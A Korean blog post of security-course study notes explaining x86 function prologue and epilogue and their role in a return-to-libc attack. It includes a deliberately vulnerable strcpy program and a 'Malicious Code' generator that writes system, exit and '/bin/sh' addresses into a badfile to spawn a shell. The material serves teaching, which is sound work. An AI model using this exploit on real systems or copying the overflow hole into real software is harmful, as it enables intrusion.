다양한 기록

Ret2Libc - Func's Prologue & Epilogue 본문

운영체제보안

Ret2Libc - Func's Prologue & Epilogue

라구넹 2024. 12. 5. 20:59

C언어이고, 인텔 cpu면 일단 모든 함수에서 처음에 프롤로그가 불리고 끝날 땐 에필로그가 불림

 

프롤로그

pushl	%ebp
movl	%esp, %ebp
subl	$16, %esp

일단 인자랑 리턴어드레스는 이전 함수의 스택 프레임에서 넣어둔 상태

pushl %ebp : previous stack frame pointer(saved ebp)를 스택에 넣음

movl %esp, %ebp : 현재 스택 포인터를 ebp에 넣음

subl $16, %esp : 사용할 지역변수들 자리를 만들어주기 위해 esp 값 내림

function's prologue

에필로그

movl	%ebp, %esp
popl	%ebp
ret

movl, popl 합쳐서 leave 라고 쓰기도 함

ebp 값을 esp로 이동, esp 값에서 하나 뽑아서 ebp에 저장

끝내기

가운데가 movl, 맨 오른쪽이 popl .. 여기서 ret하면 pop해서 eip에 가져다 넣음

 

Return-to-Libc에서?

리턴 어드레스가 조작되어 system이 이대로 실행됨

조작된 리턴 주소는 eip로 가서 호출 .. -> system의 프롤로그가 불림

=> 취약한 함수의 에필로그가 끝나자 마자 프롤로그가 불림

맨 왼쪽 그림이 ret (에필로그의 끝) 가운데 그림이 movl (system 프롤로그의 시작)

취약한 함수의 에필로그가 끝나자마자 system의 프롤로그가 불러짐

위 그림대로면 ebp + 4가 리턴 어드레스 위치가 되니 다음에 eip에 들어갈 거는 exit

인자는 ebp + 8임

 

저번 게시글에서 system 위 exit, 그 위에 /bin/sh 주소를 넣은 이유가 함수의 프롤로그 및 에필로그와 연관이 있음

원래 함수를 콜할 때는 이전 함수에서 인자랑 리턴 어드레스는 쌓아주는데, 이 경우 프롤로그가 끝나자마자 에필로그가 실행됨

 

추가 예시

int vul_func(char *str)
{
    char buffer[50];
    strcpy(buffer, str);
    return 1;
}

int main(int argc, char **argv)
{
    char str[240];
    FILE *badfile;
    
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 200, badfile);
    vul_func(str);
    
    printf("Returned Properly\n");
    
    return 1;
}

 

// Malicious Code
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buf[200];
    FILE *badfile;
    
    memset(buf, 0xaa, 200);	// 버퍼를 0이 아닌 값으로 채움
    *(long*)&buf[70] = 0xbffff28c;	// "/bin/sh" 주소
    *(long*)&buf[66] = 0xb7e52fb0;	// exit 주소
    *(long*)&buf[62] = 0xb7e5f430;	// system 주소
    
    badfile = fopen("./badfile", "w");
    fwrite(buf, sizeof(buf), 1, badfile);
    
    fclose(badfile);
}

취약한 프로그램에서 버퍼가 50짜리인데, 더미 공간 있어서 58바이트 (gdb 돌려서 계산해야 함, 방법은 이전 게시글 참조)

58 -> saved ebp 자리

62 -> 리턴 어드레스 자리

그 위로 exit, /bin/sh 주소 넣으면 됨